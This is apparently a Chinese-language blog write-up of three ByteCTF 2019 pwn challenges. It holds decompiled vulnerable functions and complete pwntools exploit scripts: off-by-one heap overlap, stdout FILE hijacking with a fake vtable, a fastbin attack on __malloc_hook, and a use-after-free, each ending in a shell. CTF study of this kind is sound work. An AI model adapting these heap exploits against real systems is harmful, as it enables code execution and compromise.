ByteCTF2019

byteCTF

byteCTF note_five

这个题目没有可是输出堆块内容的选项,就是要劫持_IO_stdout了。
漏洞:

__int64 __fastcall read_in(__int64 ptr, signed int size, char a3)
{
  __int64 result; // rax
  char v4; // [rsp+0h] [rbp-20h]
  unsigned __int8 buf; // [rsp+13h] [rbp-Dh]
  int i; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v4 = a3;
  v7 = __readfsqword(0x28u);
  for ( i = 0; ; ++i )
  {
    result = (unsigned int)i;
    if ( i > size )
      break;
    if ( (signed int)read(0, &buf, 1uLL) <= 0 )
    {
      puts("read error");
      exit(0);
    }
    result = buf;
    if ( buf == v4 )
      break;
    *(_BYTE *)(ptr + i) = buf;
  }
  return result;
}

堆块填充的时候,可以多填充一个字节,这个字节和堆块的最后一个字节相等。

漏洞利用

1、利用offbyone实现overlap

2、利用overlap实现改BK指针,攻击global_max_fast

3、改FD指针为stdout-0x51,成功实现劫持

4、改结构体从而泄露真实地址

5、然后伪造stderr的vtable,由于程序报错会执行vtable+0x18处的IO_file_overflow函数,所以将这个IO_file_overflow函数改成onegadget

6、malloc很大的块,最后触发IO_file_overflow中的_IO_flush_all_lockp,从而getshell。
这里_wide_data要填我们劫持的地址+1的位置,同时要改mode为1,表示报错模块。
这个方法比较冷门,利用报错时候的IO
攻击

#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
exec_binary = "./bytectf_2019_note_five"
libcversion = '2.23'
local = 1
context.binary = exec_binary
context.log_level = "debug"
elf = ELF(exec_binary,checksec=False)
if local:
    r = process(exec_binary)
    if context.arch == "i386":
        libc = ELF("/glibc/x86/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
    elif context.arch == "amd64":
        libc = ELF("/glibc/x64/{}/lib/libc-{}.so".format(libcversion,libcversion),checksec=False)
else:
    r = remote("")

def get_libc(addr,addr_name):
    global libc,libcbase
    libc = LibcSearcher(str(addr_name),addr)
    libcbase = addr - libc.dump(addr_name) 
    success(libcbase + " ===> " + hex(libcbase))

def get_base(r):
    text_base = r.libs()[r._cwd+r.argv[0].strip('.')]
    for key in r.libs():
        if "libc.so.6" in key:
            return text_base,r.libs()[key]
def debug(addr):
    text_base,libc_base = get_base(r)
    break_point = "set $text_base="+str(text_base)+'\n'+"set $libc_base="+str(libc_base)+'\n'
    break_point+="b *" + str(addr) + "\nc"
    gdb.attach(r,break_point)
def confirm(address):
    n = globals()
    for key,value in n.items():
        if value == address:
            return success(key+" ==> "+hex(address))

def malloc(idx,size):
    r.recvuntil("choice>> ")
    r.sendline("1")
    r.recvuntil("dx: ")
    r.sendline(str(idx))
    r.recvuntil("size: ")
    r.sendline(str(size))

def full(idx,content):
    r.recvuntil("choice>> ")
    r.sendline("2")
    r.recvuntil("dx: ")
    r.sendline(str(idx))
    r.recvuntil("content: ")
    r.send(content)

def free(idx):
    r.recvuntil("choice>> ")
    r.sendline("3")
    r.recvuntil("dx: ")
    r.sendline(str(idx))

malloc(0,0xf8)
malloc(1,0xf8)
malloc(2,0xe8)
malloc(3,0xf8)
malloc(4,0xf8)
free(0)
full(2,"a"*0xe0 + p64(0x2f0) + "\x00")
free(3)
malloc(0,0x2e0)
full(0,"a"*0xf0 + p64(0) + p64(0x101) + "b" *0xf0 + p64(0) + p64(0xf1) + "\n")
free(1)
full(0,"a"*0xf0 + p64(0) + p64(0x101) +p64(0)+ "\x38\x38" + "\n")
malloc(3,0xf8)
malloc(3,0xf8)
full(0,"A"*0xf0 + p64(0) + p64(0x101) + "b"*0xf0 + p64(0) + p64(0xf1) +"\n")
free(2)
full(0,"A"*0xf0 + p64(0) + p64(0x101) + "b"*0xf0 + p64(0) + p64(0xf1) +"\xcf\x25" +"\n")
malloc(3,0xe8)
malloc(4,0xe8)
full(4,"\x00"*0x41 + p64(0xfbad1800)  + p64(0) * 3  + "\x00" + "\n")
libcbase = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 0x39c600
one_gadget = libcbase + 0x3f3e6
confirm(libcbase)
fake_vtable = 0x39c5f8 + libcbase
#full(4,p64(0) * 7 + "\x00" + p64(vtable))
full(4,"\x00" + p64(fake_vtable - 0x18) + p64(0) * 3 + p64(1) + p64(0) + p64(one_gadget) + p64(fake_vtable) +"\n")
#fake_vtable = libcbase + 
#gdb.attach(r)
malloc(1,1000)
#full(0,)
r.interactive()

还有一种解法

fastbin 接力

在实现地址泄露后,我们因为size的原因没办法实现修改malloc_hook,但是我们可以利用fast bin接力,由于malloc_hook前面有stdin,其内部恰好也有0xffffffffffffffff,继续进行fastbin attack,但是其不能修改到malloc_hook,但是我们可以fastbin attack接力,在中途写下一个0xf1的size,然后继续fastbin attack,这样就能修改到__malloc_hook
EXP

malloc(0,0xf8)
malloc(1,0xf8)
malloc(2,0xe8)
malloc(3,0xf8)
malloc(4,0xf8)
free(0)
full(2,"a"*0xe0 + p64(0x2f0) + "\x00")
free(3)
malloc(0,0x2e0)
full(0,"a"*0xf0 + p64(0) + p64(0x101) + "b" *0xf0 + p64(0) + p64(0xf1) + "\n")
free(1)
full(0,"a"*0xf0 + p64(0) + p64(0x101) +p64(0)+ "\x38\x38" + "\n")
malloc(3,0xf8)
malloc(3,0xf8)
full(0,"A"*0xf0 + p64(0) + p64(0x101) + "b"*0xf0 + p64(0) + p64(0xf1) +"\n")
free(2)
full(0,"A"*0xf0 + p64(0) + p64(0x101) + "b"*0xf0 + p64(0) + p64(0xf1) +"\xcf\x25" +"\n")
malloc(3,0xe8)
malloc(4,0xe8)
full(4,"\x00"*0x41 + p64(0xfbad1800)  + p64(0) * 3  + "\x00" + "\n")
libcbase = u64(r.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 0x39c600
one_gadget = libcbase + 0x3f3e6
confirm(libcbase)
# 从这里开始用了不同的手法
free(3)
full(0,"a"*0xf0 + p64(0) + p64(0x101) + "c" * 0xf0 + p64(0) + p64(0xf1) +p64(0x39b96f + libcbase) + "\n")
malloc(2,0xe8)
malloc(3,0xe8)
full(3,"a" * 0xd0 + p64(0) + p64(0xff) +"\n")
free(2)
full(0,"a"*0xf0 + p64(0) + p64(0x101) + "c" * 0xf0 + p64(0) + p64(0xf1) +p64(0x39ba4f + libcbase) + "\n")
malloc(1,0xe8)
malloc(2,0xe8)
full(2,"b"*0xb1 + p64(one_gadget) + "\n")
malloc(2,0xe8)
r.interactive()

bytectf_2019_vip

[*] '/home/sh/practice/byteCTF/bytectf_2019_vip'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

这个没开PIE,不过开启了沙箱保护。

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x08 0xc000003e  if (A != ARCH_X86_64) goto 0010
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x06 0x00 0x40000000  if (A >= 0x40000000) goto 0010
 0004: 0x15 0x04 0x00 0x00000001  if (A == write) goto 0009
 0005: 0x15 0x03 0x00 0x00000000  if (A == read) goto 0009
 0006: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0009
 0007: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0009
 0008: 0x06 0x00 0x00 0x00050005  return ERRNO(5)
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x06 0x00 0x00 0x00000000  return KILL

很明显的看出这是一个orw的题目。分析程序逻辑:

堆块申请的size固定为0x50 , edit功能很坑,里面的堆块输入函数:

ssize_t __fastcall sub_4014A8(void *ptr, int size)
{
  int fd; // [rsp+1Ch] [rbp-4h]

  if ( inuse_array )
    return read(0, ptr, size);
  fd = open("/dev/urandom", 0);
  if ( fd == -1 )
    exit(0);
  return read(fd, ptr, size);
}

可以看出,我们无法对堆块内容进行填充,它只会填充一些随机数进去。

漏洞点

在开启sand_box的函数中,可以发现明显的栈溢出漏洞:

 read(0, &buf, 0x50uLL);
  printf("Hello, %s\n", &buf);
  v1 = 11;
  v2 = &v4;
  if ( prctl(38, 1LL, 0LL, 0LL, 0LL, *(_QWORD *)&v1, &v4) < 0 )
  {
    perror("prctl(PR_SET_NO_NEW_PRIVS)");
    exit(2);
  }
  if ( prctl(22, 2LL, &v1) < 0 )
  {
    perror("prctl(PR_SET_SECCOMP)");
    exit(2);
  }
  return __readfsqword(0x28u) ^ v92;

我们可以配置沙箱功能,这里说一下沙箱的配置规则,可以利用seccomp-tools这个工具:

struct sock_filter filter[] = {
    BPF_STMT(BPF_LD|BPF_W|BPF_ABS, 0),          // 从第0个字节位置开始,加载读取系统调用号
    BPF_JUMP(BPF_JMP|BPF_JEQ, 257, 1, 0),       // 比较系统调用号是否为 257(257 是 openat 的系统调用),是就跳到第5行
    BPF_JUMP(BPF_JMP|BPF_JGE, 0, 1, 0),         // 比较系统调用号是否大于 0,是就跳到第6行
    BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ERRNO), // 拒绝系统调用,返回 0
    BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW), // 允许系统调用
};

我们改写成如果调用OPen就返回0,这样edit功能就可以使用了,剩下的就是很简单的了。
这个题的难点在于哪个规则到底怎么写的,可以看看seccomp-tools的文档,

https://github.com/david942j/seccomp-tools
http://blog.eonew.cn/page/2

我是用这个tools直接反汇编asm文件出来的:

A = sys_number
A == openat ? ok:allow
ok:
return ERRNO(0)
allow:
return ALLOW

Mulnote

[*] '/home/sh/practice/ctf-writeups/byte_ctf_2019/pwn/mulnote/mulnote'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  '/glibc/x64/2.23/lib/'

这个题目逆向有点难,基本靠动态调试猜,差不多就是个UAF的弱鸡堆题(猜不出来就不这么说了,哈哈哈)。

malloc(0x98, '\n')
malloc(0x68, '\n')
malloc(0x68, '\n')
free(0)
Show()
r.recvuntil('note[0]:\n')
result = r.recvuntil('\n', drop=True)
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))
free(2)
free(1)
Edit(1, p64(main_arena_addr - 0x33))
malloc(0x68, '/bin/sh\0')
malloc(0x68, 'z' * 0x13 + p64(libc_addr + 0x4526a))
r.sendafter('>', 'C\0')
r.sendlineafter('size>', str(1))
r.interactive()

   转载规则


《ByteCTF2019》 时钟 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
d3CTF2019 d3CTF2019
d3CTF pwn writeupunprintable V这个题目开了沙箱保护,那么我们可以用seccomp-tools来观察一下: line CODE JT JF K ========================
2020-02-10
下一篇 
UNCTF_2019_pwn_orwHeap UNCTF_2019_pwn_orwHeap
orwpwn https://xz.aliyun.com/t/6731#toc-8http://blog.eonew.cn/archives/993 setcontext 函数exploithttps://xz.aliyun.com/t/6
2020-02-01
  目录